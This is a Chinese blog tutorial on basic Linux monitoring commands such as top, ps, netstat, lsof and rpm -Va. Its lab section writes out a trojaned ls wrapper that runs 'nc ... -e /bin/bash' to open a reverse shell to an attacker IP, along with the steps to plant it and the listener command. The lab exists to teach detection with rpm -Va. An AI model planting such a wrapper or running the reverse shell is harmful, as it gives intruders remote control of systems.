Linux基础命令2

最新推荐文章于 2024-05-20 17:15:16 发布
最新推荐文章于 2024-05-20 17:15:16 发布
阅读量889 收藏 11
点赞数 17
分类专栏： Linux 文章标签： linux 运维 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46454094/article/details/136922290
版权

top命令

top可以实时动态地查看系统的整体运行情况，是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面，用热键可以管理。
案例：
image.png

top

第1行：top - 19:31:16 up 21:10, 2 users, load average: 0.00, 0.00, 0.00

内容含义
19:31:16表示当前时间
up 21:10系统运行时间 格式为时：分
2 users当前登录用户数
load average: 0.00, 0.00, 0.00系统负载，即任务队列的平均长度。 三个数值分别为 1分钟、5分钟、15分钟前到现在的平均值。

第2行：Tasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie
第3行：%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.3 hi, 0.0 si, 0.0 st
第2、3行为进程和CPU的信息 当有多个CPU时，这些内容可能会超过两行，其参数如下：

内容含义
109 total进程总数
1 running正在运行的进程数
108 sleeping睡眠的进程数
0 stopped停止的进程数
0 zombie僵尸进程数
0.0 us用户空间占用CPU百分比
0.0 sy内核空间占用CPU百分比
0.0 ni用户进程空间内改变过优先级的进程占用CPU百分比
99.7 id空闲CPU百分比
0.0 wa等待输入输出的CPU时间百分比
0.3 hi硬中断（Hardware IRQ）占用CPU的百分比
0.0 si软中断（Software Interrupts）占用CPU的百分比

第4行：MiB Mem : 1775.3 total, 1369.3 free, 162.4 used, 243.6 buff/cache 第5行：MiB Swap: 1640.0 total, 1640.0 free, 0.0 used. 1466.1 avail Mem
为内存信息

内容含义
KiB Mem:1775.3 tota物理内存总量
1369.3 free空闲内存总量
162.4 used使用的物理内存总量
243.6 buff/cache用作内核缓存的内存量
MiB Swap:1640.0 total交换区总量
1640.0 free空闲交换区总量
0.0 used使用的交换区总量
1466.1 avail Mem代表可用于进程下一次分配的物理内存数量

第6行： PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
为进程信息

列名含义
PID进程id
USER进程所有者的用户名
PR优先级
NInice值。负值表示高优先级，正值表示低优先级
VIRT进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES
RES进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA
SHR共享内存大小，单位kb
S进程状态。D=不可中断的睡眠状态 R=运行 S=睡眠 T=跟踪/停止 Z=僵尸进程
%CPU上次更新到现在的CPU时间占用百分比
%MEM进程使用的物理内存百分比
TIME+进程使用的CPU时间总计，单位1/100秒
COMMAND命令名/命令行

w命令

w命令用于显示已经登陆系统的用户列表，并显示用户正在执行的指令。 执行这个命令可得知目前登入系统的用户有那些人，以及他们正在执行的程序。单独执行w命令会显示所有的用户，您也可指定用户名称，仅显示某位用户的相关信息。 案例：

w

image.png

last命令

last命令用于显示用户最近登录信息。单独执行last命令，它会读取/var/log/wtmp的文件，并把该给文件的内容记录的登入系统的用户名单全部显示出来。
image.png
用法：last [选项]
案例：

last 
last -5  #只显示5行

/var/log/wtmp文件
wtmp文件是二进制文件,该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件。因此随着系统正常运行时间的增加，该文件的大小也会越来越大，增加的速度取决于系统用户登录的次数。该日志文件可以用来查看用户的登录记录，last命令就通过访问这个文件获得这些信息，并以反序从后向前。

ps命令

ps命令是最基本同时也是非常强大的进程查看命令，使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束。
用法：ps [选项]
参数：

  • -A 显示所有进程（同-e）
  • -a 显示当前终端的所有进程
  • -u 显示进程的用户信息
  • -o 以用户自定义形式显示进程信息
  • -f 显示程序间的关系
  • -x 显示所有程序，不以终端机来区分
  • -aux 显示所有包含其他使用者的行程

案例：

ps -aux|more
ps -aux|grep root|more

image.png

USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND
行程拥有者进程IDCPU 使用率内存使用率进程使用的虚拟内存大小，以K为单位驻留空间的大小。显示当前常驻内存的程序的K字节数。终端的号码进程状态进程开始时间执行的时间所执行的指令

STAT进程状态包括下面的状态：

  • D 不可中断 Uninterruptible sleep (usually IO)
  • R 正在运行，或在队列中的进程
  • S 处于休眠状态 T 停止或被追踪
  • Z 僵尸进程
  • W 进入内存交换（从内核2.6开始无效）
  • X 死掉的进程
  • < 高优先级
  • N 低优先级 L 有些页被锁进内存
  • s 包含子进程
    • 位于后台的进程组
  • l 多线程，克隆线程

netstat命令

netstat命令用来打印Linux中网络系统的状态信息，可让你得知整个Linux系统的网络情况。
用法：netstat [选项]

参数：

  • -a或–all：显示所有连线中的Socket；
  • -l或–listening：显示监控中的服务器的Socket；
  • -n或–numeric：直接使用ip地址，而不通过域名服务器；
  • -t或–tcp：显示TCP传输协议的连线状况；
  • -p或–programs：显示正在使用Socket的程序识别码和程序名称；

案例：

netstat -an
netstat -anltp

image.png
image.png

ProtoRecv-QSend-QLocal AddressForeign AddressStatePID/Program name
协议网络接收队列网路发送队列本地地址外部地址端口状态进程ID/程序名

协议：主要有tcp协议与udp协议， 网络协议是通信计算机双方必须共同遵从的一组约定。如怎么样建立连接、怎么样互相识别等。只有遵守这个约定，计算机之间才能相互通信交流。具体的内容，我们将会在之后的章节中介绍。
recv-Q 表示网络接收队列 表示收到的数据已经在本地接收缓冲，但是还有多少没有被进程取走。 如果接收队列Recv-Q一直处于阻塞状态，可能是遭受了拒绝服务 denial-of-service 攻击。
send-Q 表示网路发送队列
对方没有收到的数据或者说没有Ack的,还是本地缓冲区。 如果发送队列Send-Q不能很快的清零，可能是有应用向外发送数据包过快，或者是对方接收数据包不够快。
本地地址与外部地址，分别以本地IP+端口，外部IP+端口的形式表达。

  • IP地址是IP协议提供的一种统一的地址格式，目前，你只需知道它是由4组从0到255的数字组成，以0.0.0.0至255.255.255.255的形式表达的，可以表示计算机的网络位置（地址）的地址格式。
  • 端口(port)，可以认为是设备与外界通讯交流的出口。目前您只需理解，如果把IP地址比作一间房子，端口就是出入这间房子的门，计算机上的各类服务借由此“门”与外界通信。一个IP可以有65535（216）个端口。在一个计算机上，每个服务都会启用一个端口。

state（当前端口状态）有以下几种状态：

端口状态意义
LISTEN侦听来自远方的TCP端口的连接请求
SYN-SENT再发送连接请求后等待匹配的连接请求
SYN-RECEIVED再收到和发送一个连接请求后等待对方对连接请求的确认
ESTABLISHED代表一个打开的连接
FIN-WAIT-1等待远程TCP连接中断请求，或先前的连接中断请求的确认
FIN-WAIT-2从远程TCP等待连接中断请求
CLOSE-WAIT等待从本地用户发来的连接中断请求
CLOSING等待远程TCP对连接中断的确认
LAST-ACK等待原来的发向远程TCP的连接中断请求的确认
TIME-WAIT等待足够的时间以确保远程TCP接收到连接中断请求的确认
CLOSED没有任何连接状态

lsof命令

lsof命令用于查看你进程开打的文件，打开文件的进程，进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具，因为lsof命令需要访问核心内存和各种文件，所以需要root用户执行。
在linux环境下，任何事物都以文件的形式存在，通过文件不仅仅可以访问常规数据，还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等，系统在后台都为该应用程序分配了一个文件描述符，无论这个文件的本质如何，该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息，因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。

lsof命令的使用

如果输入lsof命令提示：未找到命令。那么我们需要进行安装。安装命令为yum -y install lsof。
案例

lsof|more

image.png

COMMANDPID TID TASKCMDUSERFDTYPEDEVICESIZE/OFFNODENAME
进程的名称进程ID进程所有用户文件描述符，应用程序通过文件描述符识别该文件文件类型指定磁盘的名称文件的大小索引节点（文件在磁盘上的标识）打开文件的确切名称

案例：

lsof 1.txt           #查看哪些进程打开了1.txt文件
lsof -c sshd         #查看sshd服务所打开的文件
lsof -i :22          #查看22端口有哪些进程在访问
lsof -p 1168         #查看1168进程号所打开的文件
lsof -u 0            #查看uid为0的用户打开的文件
lsof|grep /var/log/  #查看/var/log/下的文件被哪些进程打开

利用lsof命令恢复已经删除的文件

需要恢复已删除的文件前提条件是还有进程打开这个文件，比如遭到黑客入侵往往总是会删除一些日志、木马文件等，假设我们ssh的登录日志被删除了，我们使用lsof查看，可以看到最后面有（deleted）这个状态。
image.png
lsof |grep /var/log/messages这里pid对应的是771，所以我们需要查看771进程打开的文件描述。
cd /proc/771/fd ？什么意思https://blog.csdn.net/zwjzwj108108/article/details/123742888
再使用ll查看就可以看到被删除对应的文件了，文件7对应的就是被删除的文件，将8里面的内容输入到被删除的目录文件就恢复了
image.png
cp 8 /var/log拷贝这个文件。
更改文件名。
image.png

kill命令

kill命令用于结束进程。
用法：kill [选项] pid 案例：

kill -9 123456          #彻底杀死进程号为123456的进程

which命令

which用于查找并显示给定命令的绝对路径，可以看到某个系统命令是否存在 用法：which [命令] 案例：

which cd

rpm -Va 检查文件完整性

这里我们设计一个实验，假设linux系统中有命令被黑客替换，我们应当如何处理。
在前文中我们已经介绍了linux系统万物皆文件的特性，这种特性就可能会导致某命令被黑客修改替换。
保证有nc命令
yum -y install nc
查找ls命令路径
image.png
image.png
ls原本的内容
image.png
新建ls文件

vi ls

新ls命令内容

#!/bin/bash
/opt/ls $*
nc 192.168.3.152 2000 -e /bin/bash >/dev/null 2>&1

image.png
将原本的ls文件移动到opt目录中，并将新ls文件移动到/usr/bin下

chmod +x ls
mv /usr/bin/ls /opt
mv ls /usr/bin
cat /usr/bin/ls

image.png
攻击机器开启监听

nc -lvp 2000

当受害者执行ls命令时会触发nc命令：
image.png
可以看到which结果和whereis结果并无可疑
image.png
查找被修改命令
可以看到ls文件异常

rpm -Va

image.png
而后将ls文件重新替换就好
rpm命令我们经常使用，但是这个”-V”参数我们却很少使用，今天碰巧遇到，这里坐下总结。rpm -V用来检查已安装rpm包的完整性。所谓“完整性”，这里就是指安装rpm包产生的所有文件和原始rpm包中的信息是否一致。如果完全一致，则不做任何输出，只有发现有不正确的文件时才会输出。rpm -V的输出格式如下：
SM5DLUGT c
其中每当发现一个不一致的文件就会有一行类似的输出，一下是每个字符的含义：
S：表示对应文件的大小（Size）不一致；
M：表示对于文件的mode不一致；
5：表示对应文件的MD5不一致；
D：表示文件的major和minor号不一致；
L：表示文件的符号连接内容不一致；
U：表示文件的owner不一致；
G：表示文件的group不一致；
T：表示文件的修改时间不一致；
c：只有文件是一个配置文件时才会有此标志，可以用这种方法快速定位rpm包的配置文件安装位置。（不是说只有文件不一致情况下才会显示吗？没错，但是配置文件通常会被修改，所以通常都会被检测出不一致）
file：检测出不一致的文件安装路径；
当然一般不可能一个文件的所有以上属性都不一致，所以检测通过的属性就会用一个“.”表示。
l 例1：
.M5…T /usr/X11R6/lib/X11/fonts/misc/fonts.dir
表示/usr/X11R6/lib/X11/fonts/misc/fonts.dir这个文件的mode被修改了，MD5也不一致，文件的修改时间也发生了改变。
l 例2：
S.5…T c /etc/passwd
表示/etc/passwd的Size，MD5，modify time不一致，且这是一个配置文件；
l 例3：
missing /var/spool/at/spool
表示rpm包本来该生产/var/spool/at/spool文件，但却丢失了。

xargs命令

xargs是给其他命令传递参数的一个过滤器，也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数，xargs能够处理管道或者stdin并将其转换成特定命令的命令参数。xargs也可以将单行或多行文本输入转换为其他格式，例如多行变单行，单行变多行。 xargs的默认命令是echo，空格是默认定界符。这意味着通过管道传递给xargs的输入将会包含换行和空白，不过通过xargs的处理，换行和空白将被空格取代。xargs是构建单行命令的重要组件之一。
案例：

cat 111 |xargs -n 3 #将内容进行排序，每行三个字段

ls * |xargs -n1 cat                            #将前面的结果传递作为子参数传递给后面的命令
cat 1.txt|xargs -n1 echo 'hello'
Sakuraづ
关注
  • 17
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
常用Linux基本命令2
05-17
常用Linux基本命令2
Linux基本命令2.docx
09-14
。。。
项目Linux基本命令2.docx
06-21
。。。
项目Linux基本命令2.pdf
06-21
。。。
Linux基础命令
12-11
Linux 1.目录介绍 2.远程连接 3.常用命令 1）磁盘管理 2）文件管理 3）grep和管道 4）压缩、解压命令 5）系统命令 6）其他命令
Linux知识点笔记
exercise_smile的博客
05-16 890
Linux 主要的发行版(release):Ubuntu(乌班图)、 RedHat(红帽)、 CentOS、 Debain[蝶变]、 Fedora、 SuSE、 OpenSUSE [示意图]在 linux 中的每个用户必须属于一个组， 不能独立于组外。在 linux 中每个文件 有所有者、 所在组、 其它组的概念。ls -l 中显示的内容如下：0-9 位说明：第 0 位确定文件类型(d, - , l , c , b)l 是链接， 相当于 windows 的快捷方式。
Linux “如何添加用户/组和修改用户/组”
y2162484776的博客
05-20 367
我们首先要知道Linux中用户时必须的吗！？？？用户是标识计算机的资源归属的。
Linux 三十六章
一怀明月的博客
05-17 984
信号量 sem_init sem_destroy sem_wait sem_post 基于环形队列的CP问题 环形队列的生产者消费者模型 线程池 localtime时间戳转化 mkdir系统调用 bind绑定成员函数 懒汉饿汉单例模式 懒汉模式： 饿汉模式： 懒汉和饿汉相同点： 线程池源码实现
【linux】linux中免交互命令expect原理与应用实战
景天科技苑
05-20 1304
Expect 是基于 Tcl 的相对简单的一个免费的脚本编程工具语言，用来实现 自动和交互式任务程序进行通信，无需人的手工干预。比如 SSH、FTP 等，这些 程序正常情况都需要手工与它们进行交互，而使用 Expect 就可以模拟人手工交 互的过程，实现自动的和远程的程序交互，从而达到自动化运维的目的。
操作系统 实验13 批处理操作接口3：引用与命令替换
m0_63093530的博客
05-14 153
结果：第一个和第三个命令是错的，第二个和第四个命令是对的。echo "这是命令替换形式1...$date1"echo "$sv ++++加上另一些字符！2、输出字符串“China's panda”命令：echo China\'s panda。6、将命令date执行结果赋予变量date1。7、将命令date执行结果赋予变量date2。1、输出字符串“$Dollar”命令：echo \$Dollar。命令：date2=$(date)命令：date1=`date`
Linux：网络管理命令之ss
hhd1988的专栏
05-17 806
Linux：网络管理命令之ss
Linux的基础指令
asdssadddd的博客
05-14 945
常用选项:-f 或 --force 强行复制文件或目录, 不论目的文件或目录是否已经存在.-i 或 --interactive覆盖文件之前先询问用户.-r递归处理, 将指定目录下的文件与子目录一并处理. 若源文件或目录的形态, 不属于目录或符号链接, 则一律视为普通文件处理.-R 递归处理, 将指定目录下的文件及子目录一并处理.
Linux - 整理工作中常用的 Linux 命令（目录、文件、系统、进程、网络）持续更新~
CYK_byte的博客
05-16 947
整理了一下工作中常用的 Linux 命令（目录、文件、系统、进程、网络）
Linux mkdir命令参数和选项
2301_78660211的博客
05-16 772
mkdir命令是Linux操作系统中一个非常重要的命令，它可以帮助我们创建新的目录。在这篇博客中，我们介绍了mkdir命令的基本用法、参数、选项，以及mkdir命令的实际应用。希望这篇博客能帮助读者更好地理解和使用mkdir命令。
【linux】详解vim编辑器
最新发布
2301_79796701的博客
05-20 447
通用的配置再插入模式下就像一个记事本一样，如果要写代码，写文本会很不舒服，而用户可以额外的为vim添加其他配置。在目录 /etc/ 下面，有个名为vimrc的文件，这是系统中公共的vim配置文件,对所有用户都有效。文件保存或退出，也可以进行文件替换，找字符串，列出行号等操作。」号表示一个数字，在冒号后输入一个数字，再按回车键就会跳到该行了，如输入数字。」键，再输入您想寻找的字符，如果第一次找的关键字不是您想要的，可以一直按「n。」键，再输入您想寻找的字符，如果第一次找的关键字不是想要的，可以一直按。
Linux第四节--常见的指令介绍集合（持续更新中）
touchinaiyou的博客
05-14 433
linux常见的几条指令
Linux：进程概念（四.main函数的参数、环境变量及其相关操作）
qq_74415153的博客
05-19 846
1main()函数的参数 1.1bash处理命令行 1.2利用上述性质，写一个计算器 2.环境变量 2.1基本概念 2.2为什么要有环境变量(意义) 2.3常见的环境变量 查看环境变量 echo指令一打印输出文本 PATH 2.4环境变量相关的命令 本地变量 2.5代码获取环境变量 2.6添加或者修改环境变量 2.7 最一开始环境变量哪里来的
Docker alpine linux 修改时区
qq_35429326的博客
05-14 385
如果是在 dockerfile 中。
Linux_清空系统缓冲和无用文件命令
惊鸿一博
05-17 252
无用文件通常指的是系统中的临时文件、日志文件、以及用户不再需要的文件。文件系统来清理系统缓存（包括页缓存、目录项缓存和inode缓存）。在 Linux 中，可以通过。也可以使用日志旋转工具如。
Linux 基础命令
02-23
以下是一些常用的Linux基础命令： 1. ls：列出当前目录下的文件和目录。 2. cd：切换到指定目录。 3. pwd：显示当前所在的目录。 4. mkdir：创建一个新的目录。 5. rm：删除文件或目录。 6. cp：复制文件或目录。 7...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值